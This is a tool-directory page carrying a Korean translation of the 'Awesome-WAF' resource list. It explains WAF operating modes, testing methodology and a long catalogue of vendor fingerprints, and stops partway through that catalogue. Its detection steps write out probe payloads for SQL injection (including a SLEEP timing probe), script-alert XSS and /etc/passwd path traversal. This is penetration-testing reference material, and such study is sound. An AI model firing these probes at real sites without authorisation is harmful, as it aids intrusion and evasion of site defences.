Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/0xinfection/awesome-waf
WAF BypassWeb SecurityLearning & EducationCurated Resources
GitHub0xinfection/awesome-waf

Awesome-WAF

웹 애플리케이션 방화벽(WAF)에 관한 모든 것을 보안 관점에서! 🔥

저장소 보기
7.6k1.2k4개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Awesome WAF Awesome

웹 애플리케이션 방화벽(WAF)에 대한 모든 것을 보안 관점에서 다룹니다. 🔥

서문: 이것은 원래 WAF에 대한 개인 컬렉션이었습니다. 이제 펜테스터와 연구자들에게 유용할 수 있기를 바라며 오픈소스로 공개합니다. 흔히 말하듯, "커뮤니티는 서로 배웁니다."

Main Logo

간결한 정의: 방화벽은 웹 애플리케이션과 클라이언트 엔드포인트 사이에 위치한 보안 정책 시행 지점입니다. 이 기능은 소프트웨어나 하드웨어로 구현될 수 있으며, 어플라이언스 장치나 일반 운영 체제를 실행하는 일반 서버에서 실행될 수 있습니다. 독립형 장치이거나 다른 네트워크 구성 요소에 통합될 수 있습니다. (출처: PCI DSS IS 6.6)

웹 애플리케이션 방화벽은 사용자와 웹앱 사이에 위치하며, 악의적인 활동이 웹앱에 도달하는 것을 방지하는 역할을 합니다. WAF는 요청의 악의적인 부분을 필터링하거나 단순히 차단합니다.

기여해 주세요.

목차:

  • 소개
    • WAF 작동 방식
    • 작동 모드
  • 테스트 방법론
    • 찾아볼 곳
    • 탐지 기술
  • WAF 지문
  • 우회 기술
    • 퍼징/무차별 대입
    • 정규식 역공학
    • 난독화/인코딩
    • 브라우저 버그
    • HTTP 헤더 스푸핑
    • Google Dorks 접근법
  • 알려진 우회 방법
  • 멋진 도구
    • 지문 식별
    • 테스트
    • 우회
  • 블로그 및 분석 글
  • 동영상 발표
  • 연구 발표 및 논문
    • 연구 논문
    • 발표 슬라이드
  • 라이선스 및 크레딧

소개:

WAF 작동 방식:

  • 규칙 집합을 사용하여 정상 요청과 악성 요청을 구분합니다.
  • 때로는 학습 모드를 사용하여 사용자 행동을 학습함으로써 자동으로 규칙을 추가합니다.

작동 모드:

  • 부정 모델(블랙리스트 기반) - 블랙리스트 모델은 미리 설정된 시그니처를 사용하여 명백히 악성인 요청을 차단합니다. 부정 모델로 작동하는 WAF의 시그니처는 특정 웹 애플리케이션 취약점을 악용하는 공격을 방지하기 위해 특별히 제작됩니다. 블랙리스트 모델 웹 애플리케이션 방화벽은 공용 인터넷에 노출된 웹 애플리케이션에 적합하며, 주요 취약점에 대해 매우 효과적입니다. 예: 모든 <script>*</script> 입력을 차단하는 규칙은 기본적인 크로스 사이트 스크립팅 공격을 방지합니다.
  • 긍정 모델(화이트리스트 기반) - 화이트리스트 모델은 특별히 구성된 기준에 따라서만 웹 트래픽을 허용합니다. 예를 들어, 특정 IP 주소의 HTTP GET 요청만 허용하도록 구성할 수 있습니다. 이 모델은 잠재적인 대규모 공격을 차단하는 데 매우 효과적일 수 있지만, 합법적인 트래픽도 많이 차단합니다. 화이트리스트 모델 방화벽은 직원과 같은 제한된 사용자 그룹만 사용하도록 설계된 내부 네트워크의 웹 애플리케이션에 가장 적합할 수 있습니다.
  • 혼합/하이브리드 모델(포괄적 모델) - 하이브리드 보안 모델은 화이트리스트와 블랙리스트를 모두 결합합니다. 다양한 구성 사양에 따라 하이브리드 방화벽은 내부 네트워크의 웹 애플리케이션과 공용 인터넷의 웹 애플리케이션 모두에 가장 적합한 선택이 될 수 있습니다. 좋은 시나리오는 웹 애플리케이션이 공용 인터넷에 노출되어 있는 경우(블랙리스트 사용) 관리자 패널은 일부 사용자만 접근해야 하는 경우(화이트리스트 사용)입니다.

테스트 방법론:

찾아볼 곳:

  • WAF가 노출되는 일반적인 포트, 즉 80, 443, 8000, 8080, 8888 포트를 항상 확인하세요. 그러나 WAF는 HTTP 서비스가 실행되는 모든 포트에 쉽게 배포될 수 있다는 점을 유의해야 합니다. 먼저 HTTP 서비스 포트를 열거한 후 WAF를 찾는 것이 좋습니다.
  • 일부 WAF는 요청에 자체 쿠키를 설정합니다(예: Citrix Netscaler, Yunsuo WAF).
  • 일부는 별도의 헤더와 연결됩니다(예: Anquanbao WAF, Amazon AWS WAF).
  • 일부는 헤더를 변조하고 문자를 뒤섞어 공격자를 혼란스럽게 합니다(예: Netscaler, Big-IP).
  • 일부는 Server 헤더에 자신을 노출합니다(예: Approach, WTS WAF).
  • 일부 WAF는 응답 콘텐츠에 자신을 노출합니다(예: DotDefender, Armor, Sitelock).
  • 다른 WAF는 악성 요청에 대해 비정상적인 응답 코드로 응답합니다(예: WebKnight, 360 WAF).

탐지 기술:

WAF를 식별하려면 (모의로) 자극해야 합니다.

  1. 브라우저에서 정상 GET 요청을 보내고, 가로채어 응답 헤더(특히 쿠키)를 기록합니다.
  2. 명령줄(예: cURL)에서 요청을 보내고, 응답 콘텐츠와 헤더를 테스트합니다(사용자 에이전트 미포함).
  3. 임의의 열린 포트에 GET 요청을 보내고 WAF의 정체를 드러낼 수 있는 배너를 획득합니다.
  4. 로그인 페이지에서 " or 1 = 1 --과 같은 일반적인 (쉽게 탐지되는) 페이로드를 주입합니다.
  5. 검색창, 문의 양식 및 기타 입력 필드에 <script>alert()</script>와 같은 시끄러운 페이로드를 주입합니다.
  6. URL 끝에 있는 임의의 매개변수에 더미 ../../../etc/passwd를 첨부합니다.
  7. URL 끝에 있는 임의의 매개변수에 ' OR SLEEP(5) OR '와 같은 눈에 띄는 키워드를 추가합니다.
  8. HTTP/0.9와 같은 구식 프로토콜로 GET 요청을 보냅니다(HTTP/0.9는 POST 유형 쿼리를 지원하지 않습니다).
  9. 종종 WAF는 다양한 유형의 상호작용에 따라 Server 헤더를 변경합니다.
  10. 드롭 액션 기술 - 서버에 원시 조작된 FIN/RST 패킷을 보내고 응답을 식별합니다.

    팁: 이 방법은 HPing3 또는 Scapy와 같은 도구를 사용하여 쉽게 달성할 수 있습니다.

  11. 부채널 공격 - 요청 및 응답 콘텐츠의 타이밍 동작을 검사합니다.

    팁: 자세한 내용은 여기 블로그 게시물에서 확인할 수 있습니다.

WAF 지문

WAF 지문을 식별하고 싶으신가요? 어떻게 하는지 알아보겠습니다.

참고: 이 섹션에는 수동 WAF 탐지 기술이 포함되어 있습니다. 다음 섹션으로 넘어가고 싶을 수 있습니다.





## 회피 기법 WAF를 우회하고 회피하는 몇 가지 방법을 살펴보겠습니다.
도구 다운로드
WAF지문
360
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 비정상적인 요청 시 상태 코드 493 반환.
    • 차단 페이지에 wzws-waf-cgi/ 디렉토리 참조가 포함될 수 있음.
    • 차단된 응답 페이지 소스에는 다음이 포함될 수 있음:
      • wangshan.360.cn URL 참조.
      • Sorry! Your access has been intercepted because your links may threaten website security. 텍스트 조각.
    • 응답 헤더에 X-Powered-By-360WZB 헤더가 포함될 수 있음.
    • 차단된 응답 헤더에 고유 헤더 WZWS-Ray가 포함됨.
    • Server 헤더에 qianxin-waf 값이 포함될 수 있음.
aeSecure
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 차단된 응답 콘텐츠에 aesecure_denied.png 이미지가 포함됨 (소스 보기로 확인).
    • 응답 헤더에 aeSecure-code 값이 포함됨.
Airlock
  • 탐지 가능성: 보통/어려움
  • 탐지 방법:
    • Set-Cookie 헤더에 다음이 포함될 수 있음:
      • AL-SESS 쿠키 필드 이름 (대소문자 구분 안 함).
      • AL-LB 값 (대소문자 구분 안 함).
    • 차단된 응답 페이지에 다음이 포함됨:
      • Server detected a syntax error in your request 텍스트.
      • Check your request and all parameters 텍스트 조각.
AlertLogic
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 페이지에 다음이 포함됨:
      • We are sorry, but the page you are looking for cannot be found 텍스트 조각.
      • The page has either been removed, renamed or temporarily unavailable 텍스트.
      • 빨간색 글씨의 404 Not Found.
Aliyundun
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 다음이 포함됨:
      • Sorry, your request has been blocked as it may cause potential threats to the server's security 텍스트 조각.
      • errors.aliyun.com 사이트 URL 참조.
    • 차단된 응답 코드는 405입니다.
Anquanbao
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 악의적인 요청 시 차단 HTTP 응답 코드 405 반환.
    • 차단된 응답 콘텐츠에 /aqb_cc/error/ 또는 hidden_intercept_time이 포함될 수 있음.
    • 응답 헤더에 X-Powered-by-Anquanbao 헤더 필드가 포함됨.
Anyu
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 콘텐츠에 Sorry! your access has been intercepted by AnYu 포함
    • 차단된 응답 페이지에 AnYu- the green channel 텍스트 포함.
    • 응답 헤더에 비정상적인 헤더 WZWS-RAY가 포함될 수 있음.
Approach
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지 콘텐츠에 다음이 포함될 수 있음:
      • Approach Web Application Firewall Framework 제목.
      • Your IP address has been logged and this information could be used by authorities to track you. 경고.
      • Sorry for the inconvenience! 키워드.
      • Approach infrastructure team 텍스트 조각.
    • Server 헤더의 필드 값이 Approach로 설정됨.
Armor Defense
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 콘텐츠에 다음이 포함됨:
      • This request has been blocked by website protection from Armor 텍스트.
      • If you manage this domain please create an Armor support ticket 조각.
ArvanCloud
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 ArvanCloud 키워드 포함.
ASPA
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 ASPA-WAF 키워드 포함.
    • 응답에 고유 헤더 ASPA-Cache-Status가 포함되며 값은 HIT 또는 MISS입니다.
ASP.NET Generic
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 헤더에 X-ASPNET-Version 헤더 값이 포함될 수 있음.
    • 차단된 응답 페이지 콘텐츠에 다음이 포함될 수 있음:
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.
      • Error Code 0x00000000< 키워드.
    • X-Powered-By 헤더의 필드 값이 ASP.NET으로 설정됨.
Astra
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지 콘텐츠에 다음이 포함될 수 있음:
      • Sorry, this is not allowed. in h1.
      • our website protection system has detected an issue with your IP address and wont let you proceed any further 텍스트 조각.
      • www.getastra.com/assets/images/ URL 참조.
    • 응답 쿠키에 cz_astra_csrf_cookie 필드 값이 응답 헤더에 있음.
AWS ELB
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 헤더에 다음이 포함될 수 있음:
      • AWSALB 쿠키 필드 값.
      • X-AMZ-ID 헤더.
      • X-AMZ-REQUEST-ID 헤더.
    • 응답 페이지에 다음이 포함될 수 있음:
      • Access Denied 키워드.
      • RequestId 태그 사이에 길이가 20에서 25 사이인 요청 토큰 ID.
    • Server 헤더 필드에 awselb/2.0 값 포함.
Baidu Yunjiasu
  • 탐지 가능성: 보통
  • 탐지 방법:
    • Server 헤더에 Yunjiasu-nginx 값이 포함될 수 있음.
    • Server 헤더에 Yunjiasu 값이 포함될 수 있음.
Barikode
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지 콘텐츠에 다음이 포함됨:
      • BARIKODE 키워드.
      • h1의 Forbidden Access 텍스트 조각.
Barracuda
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 쿠키에 barra_counter_session 값이 포함될 수 있음.
    • 응답 헤더에 barracuda_ 키워드가 포함될 수 있음.
  • 응답 페이지에 다음이 포함됨:
    • You have been blocked 제목.
    • You are unable to access this website 텍스트.
Bekchy
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 헤더에 Bekchy - Access Denied 포함.
    • 차단된 응답 페이지에 https://bekchy.com/report 참조 포함.
BinarySec
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 헤더에 다음이 포함됨:
      • X-BinarySec-Via 필드.
      • X-BinarySec-NoCache 필드.
      • Server 헤더에 BinarySec 키워드 포함.
BitNinja
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 다음이 포함될 수 있음:
      • Security check by BitNinja 텍스트 조각.
      • your IP will be removed from BitNinja.
      • Visitor anti-robot validation 텍스트 조각.
      • (You will be challenged by a reCAPTCHA page) 텍스트.
BIG-IP ASM
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 헤더에 BigIP 또는 F5 키워드 값이 포함될 수 있음.
    • 응답 헤더 필드에 X-WA-Info 헤더가 포함될 수 있음.
    • 응답 헤더에 X-Cnection 필드 값이 혼란스러울 수 있음.
BlockDos
  • 탐지 가능성: 보통
  • 탐지 방법:
    • Server 헤더에 BlockDos.net 값 포함.
Bluedon IST
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 BDWAF 필드 값 포함.
    • 차단된 응답 페이지에 Bluedon Web Application Firewall 텍스트 조각 포함.
BulletProof Security Pro
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 차단된 응답 페이지에 다음이 포함됨:
      • id가 bpsMessage인 div 텍스트 조각.
      • If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page. 텍스트 조각.
CDN NS Application Gateway
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 CdnNsWAF Application Gateway 텍스트 조각 포함.
Cerber (WordPress)
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 페이지에 다음이 포함됨:
      • We're sorry, you are not allowed to proceed 텍스트 조각.
      • Your request looks suspicious or similar to automated requests from spam posting software 경고.
Chaitin Safeline
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 페이지에 HTML 주석 내 event_id 키워드 포함.
ChinaCache
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 Powered-by-ChinaCache 필드 포함.
Cisco ACE XML Gateway
  • 탐지 가능성: 보통
  • 탐지 방법:
    • Server 헤더에 ACE XML Gateway 값이 설정됨.
Cloudbric
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 콘텐츠에 다음이 포함됨:
      • Malicious Code Detected 제목.
      • Your request was blocked by Cloudbric 텍스트 조각.
      • https://cloudbric.zendesk.com URL 참조.
      • Cloudbric Help Center 텍스트.
      • Cloudbric | ERROR!로 시작하는 페이지 제목.
Cloudflare
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 cf-ray 필드 값이 있을 수 있음.
    • Server 헤더 필드 값이 cloudflare.
    • Set-Cookie 응답 헤더에 __cfuid= 쿠키 필드가 있음.
    • 페이지 콘텐츠에 Attention Required! 또는 Cloudflare Ray ID:가 있을 수 있음.
    • 페이지 콘텐츠에 DDoS protection by Cloudflare 텍스트가 포함될 수 있음.
    • 잘못된 URL에 접근 시 CLOUDFLARE_ERROR_500S_BOX가 발생할 수 있음.
CloudfloorDNS
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더 필드 값이 CloudfloorDNS WAF.
    • 차단 페이지 제목에 CloudfloorDNS - Web Application Firewall Error가 있을 수 있음.
    • 페이지 콘텐츠에 www.cloudfloordns.com/contact URL이 연락처 링크로 포함될 수 있음.
Cloudfront
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 콘텐츠에 악의적인 요청 시 Generated by cloudfront (CloudFront) 오류 포함.
Comodo cWatch
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 Protected by COMODO WAF 값 포함.
CrawlProtect
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 쿠키에 crawlprotect 쿠키 이름이 포함될 수 있음.
    • 차단 페이지 제목에 CrawlProtect 키워드가 있음.
    • 차단된 응답 콘텐츠에 악의적인 요청 시
      This site is protected by CrawlProtect !!! 값 포함.
Deny-All
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 응답 콘텐츠에 Condition Intercepted 값 포함.
    • Set-Cookie 헤더에 쿠키 필드 sessioncookie 포함.
Distil Web Protection
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 모든 요청의 응답 헤더에 필드 값 X-Distil-CS 포함.
    • 차단된 응답 페이지에 다음이 포함됨:
      • Pardon Our Interruption... 제목.
      • You have disabled javascript in your browser. 텍스트 조각.
      • Something about your browser made us think that you are a bot. 텍스트.
DoSArrest Internet Security
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 필드 값 X-DIS-Request-ID 포함.
    • Server 헤더에 DOSarrest 키워드 포함.
DotDefender
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 콘텐츠에
      dotDefender Blocked Your Request 값 포함.
    • 차단된 응답 헤더에 X-dotDefender-denied 필드 값 포함.
DynamicWeb Injection Check
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 헤더에 X-403-Status-By 필드가 포함되며 값은 dw-inj-check입니다.
e3Learning Security
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 e3Learning_WAF 키워드 포함.
EdgeCast (Verizon)
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 콘텐츠에
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon) 값 포함.
    • 악의적인 요청 시 차단된 응답 코드가 400 Bad Request를 반환합니다.
Eisoo Cloud
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지 콘텐츠에 다음이 포함될 수 있음:
      • /eisoo-firewall-block.css 참조.
      • www.eisoo.com URL.
      • © (year) Eisoo Inc. 키워드.
    • Server 헤더의 필드 값이 EisooWAF-AZURE/EisooWAF로 설정됨.
Expression Engine
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 페이지가 일반적으로 Invalid URI를 반환합니다.
    • 악의적인 GET 쿼리 시 차단된 응답 콘텐츠에 Invalid GET Request 값 포함.
    • 차단된 POST 유형 쿼리의 응답 콘텐츠에 Invalid Data 포함.
F5 ASM
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 콘텐츠에 경고
      The requested URL was rejected. Please consult with your administrator. 포함.
FortiWeb
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 악의적인 요청 시 응답 헤더에 FORTIWAFSID= 포함.
    • 차단된 응답 페이지에 다음이 포함됨:
      • .fgd_icon 이미지 아이콘 참조.
      • Server Unavailable! 제목.
      • Server unavailable. Please visit later. 텍스트.
GoDaddy
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에
      Access Denied - GoDaddy Website Firewall 값 포함.
GreyWizard
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 다음이 포함됨:
      • Grey Wizard 제목.
      • Contact the website owner or Grey Wizard 텍스트 조각.
      • We've detected attempted attack or non standard traffic from your IP address 텍스트 조각.
    • Server 헤더에 greywizard 키워드 포함.
Huawei Cloud
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 다음이 포함됨:
      • account.hwclouds.com/static/error/images/404img.jpg 오류 이미지 참조.
      • www.hwclouds.com URL 참조.
      • 신고용 이메일 hws_security@{site.tld} 참조.
HyperGuard
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 응답 헤더의 Set-Cookie 헤더에 쿠키 필드 ODSESSION= 포함.
IBM DataPower
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 응답 헤더에 X-Backside-Transport 필드 값이 포함되며 값은 OK 또는 FAIL입니다.
Imperva Incapsula
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지 콘텐츠에 다음이 포함될 수 있음:
      • Powered By Incapsula 텍스트 조각.
      • Incapsula incident ID 키워드.
      • _Incapsula_Resource 키워드.
      • subject=WAF Block Page 키워드.
    • 일반 GET 요청 헤더에 visid_incap 값 포함.
    • 응답 헤더에 X-Iinfo 헤더 필드 이름이 포함될 수 있음.
    • Set-Cookie 헤더에 쿠키 필드 incap_ses 및 visid_incap 포함.
Imunify360
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 imunify360-webshield 키워드 포함.
    • 응답 페이지에 다음이 포함됨:
      • Powered by Imunify360 텍스트 조각.
      • 응답 유형이 JSON인 경우 imunify360 preloader.
    • 차단된 응답 페이지에 protected by Imunify360 텍스트 포함.
IndusGuard
  • 탐지 가능성: 보통
  • 탐지 방법:
    • Server 헤더에 IF_WAF 값 포함.
    • 차단된 응답 콘텐츠에 경고
      further investigation and remediation with a screenshot of this page. 포함.
    • 응답 헤더에 고유 헤더 X-Version 포함.
Instart DX
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 고유 헤더 X-Instart-Request-ID 포함.
    • 응답 헤더에 고유 헤더 X-Instart-WL 지문 포함.
    • 응답 헤더에 고유 헤더 X-Instart-Cache 지문 포함.
    • 차단된 응답 페이지에 The requested URL was rejected. Please consult with your administrator. 텍스트 포함.
ISA Server
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 응답 페이지에 다음이 포함됨:
      • The ISA Server denied the specified Uniform Resource Locator (URL) 텍스트 조각.
      • The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. 텍스트 조각.
Janusec Application Gateway
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 JANUSEC 이름과 로고 이미지 표시.
    • 악의적인 요청 시 차단된 응답 페이지에 Janusec Application Gateway 표시.
Jiasule
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 static.jiasule.com/static/js/http_error.js URL 참조.
    • 응답 헤더의 Set-Cookie 헤더에 _jsluid= 또는 jsl_tracking 쿠키 필드 포함.
    • Server 헤더에 jiasule-WAF 키워드 포함.
    • 차단된 응답 콘텐츠에 notice-jiasule 키워드 포함.
KeyCDN
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 KeyCDN 키워드 포함.
KnownSec
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 ks-waf-error.png 이미지 표시 (소스 보기로 확인).
KONA Site Defender (Akamai)
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 AkamaiGHost 키워드 포함.
LiteSpeed
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더 값이 LiteSpeed로 설정됨.
    • 응답 페이지에 다음이 포함됨:
      • Proudly powered by LiteSpeed Web Server 텍스트.
      • http://www.litespeedtech.com/error-page 참조.
      • Access to resource on this server is denied.
Malcare
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 차단된 응답 페이지에 다음이 포함될 수 있음:
      • Blocked because of Malicious Activities 텍스트 조각.
      • Firewall powered by MalCare 텍스트 조각.
MissionControl Application Shield
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더 필드에 Mission Control Application Shield 값 포함.
ModSecurity
  • 탐지 가능성: 보통/어려움
  • 탐지 방법:
    • 차단된 응답 페이지에 다음이 포함됨:
      • This error was generated by Mod_Security 텍스트 조각.
      • One or more things in your request were suspicious 텍스트 조각.
      • rules of the mod_security module 텍스트 조각.
      • mod_security rules triggered 텍스트 조각.
      • /modsecurity-errorpage/ 디렉토리 참조.
    • Server 헤더에 Mod_Security 또는 NYOB 키워드가 포함될 수 있음.
    • 때때로 공격에 대한 응답 코드는 403이고 응답 문구는 ModSecurity Action입니다.
ModSecurity CRS
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 특정 파라노이아 수준에서 별도의 요청 헤더 X-Scanner를 추가할 때 차단 페이지가 발생합니다.
NAXSI
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 This Request Has Been Blocked By NAXSI 포함.
    • 응답 헤더에 비정상적인 필드 X-Data-Origin이 포함되며 값은 naxsi/waf 키워드입니다.
    • Server 헤더에 naxsi/waf 키워드 값 포함.
    • 차단된 응답 페이지에 NAXSI blocked information 오류 코드가 포함될 수 있음.
Nemesida
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 페이지에 Suspicious activity detected. Access to the site is blocked. 포함.
    • 이메일 nwaf@{site.tld} 참조 포함.
Netcontinuum
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 세션 쿠키에 NCI__SessionId= 쿠키 필드 이름 포함.
NetScaler AppFirewall
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 헤더에 다음이 포함될 수 있음
      • Connection: 헤더 필드 이름이 nnCoection:으로 혼란스러움.
      • ns_af= 쿠키 필드 이름.
      • citrix_ns_id 필드 이름.
      • NSC 키워드.
      • NS-CACHE 필드 값.
NevisProxy
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 헤더 쿠키에 Navajo 키워드 포함.
NewDefend
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 페이지에 다음이 포함됨:
      • http://www.newdefend.com/feedback/misinformation/ URL 참조.
      • /nd_block/ 디렉토리 참조.
    • Server 헤더에 NewDefend 키워드 포함.
Nexusguard
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 speresources.nexusguard.com/wafpage/index.html URL 참조.
NinjaFirewall
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 페이지 제목에 NinjaFirewall: 403 Forbidden 포함.
    • 응답 페이지에 다음이 포함됨:
      • For security reasons, it was blocked and logged 텍스트 조각.
      • 제목에 NinjaFirewall 키워드.
    • 악의적인 요청 시 403 Forbidden 응답 반환.
NSFocus
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 NSFocus 키워드 포함.
NullDDoS
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 NullDDoS System 키워드 포함.
onMessage Shield
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 X-Engine 필드가 포함되며 값은 onMessage Shield입니다.
    • 차단된 응답 페이지에 다음이 포함됨:
      • Blackbaud K-12 conducts routine maintenance 키워드.
      • This site is protected by an enhanced security system.
      • https://status.blackbaud.com URL 참조.
      • https://maintenance.blackbaud.com URL 참조.
OpenResty Lua WAF
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 openresty/{version} 키워드 포함.
    • 차단된 응답 페이지에 openresty/{version} 텍스트 포함.
    • 차단된 응답 코드는 406 Not Acceptable입니다.
Palo Alto
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 차단된 응답 페이지에 Virus/Spyware Download Blocked 포함.
    • 응답 페이지에 Palo Alto Next Generation Security Platform 텍스트 조각이 포함될 수 있음.
PentaWAF
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 PentaWAF/{version} 키워드 포함.
    • 차단된 응답 페이지에 PentaWAF/{version} 텍스트 포함.
PerimeterX
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에
      https://www.perimeterx.com/whywasiblocked URL 참조.
pkSecurityModule IDS
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 콘텐츠에 다음이 포함될 수 있음
      • pkSecurityModule: Security.Alert.
      • A safety critical request was discovered and blocked 텍스트 조각.
Positive Technologies Application Firewall
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 페이지에 h1의 Forbidden 다음에 포함:
    • Request ID: 형식은 yyyy-mm-dd-hh-mm-ss-{ref. code}
PowerCDN
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 헤더에 다음이 포함될 수 있음
      • Via 헤더에 powercdn.com 콘텐츠.
      • X-Cache 헤더에 powercdn.com 콘텐츠.
      • X-CDN 헤더에 PowerCDN 콘텐츠.
Profense
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Set-Cookie 헤더에 PLBSID= 쿠키 필드 이름 포함.
    • Server 헤더에 Profense 키워드 포함.
Proventia (IBM)
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 페이지에 request does not match Proventia rules 텍스트 조각이 포함될 수 있음.
Puhui
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 PuhuiWAF 키워드 포함.
Qiniu CDN
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 콘텐츠에 다음이 포함될 수 있음
      • 응답 헤더에 비정상적인 헤더 X-Qiniu-CDN이 포함되며 값은 0 또는 1입니다.
Radware Appwall
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 페이지에 다음 텍스트 조각이 포함됨:
      Unauthorized Activity Has Been Detected. 및 Case Number
    • 차단된 응답 페이지에 radwarealerting@{site.tld} 이메일 참조.
    • 차단된 응답 페이지 제목이 Unauthorized Request Blocked로 설정됨.
    • 응답 헤더에 X-SL-CompState 헤더 필드 이름이 포함될 수 있음.
Reblaze
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 헤더의 쿠키에 rbzid= 헤더 필드 이름 포함.
    • Server 필드 값에 Reblaze Secure Web Gateway 텍스트 조각이 포함될 수 있음.
    • 응답 페이지에 다음이 포함됨:
      • Access Denied (403) 굵은 글씨.
      • Current session has been terminated 텍스트.
      • For further information, do not hesitate to contact us.
Request Validation Mode
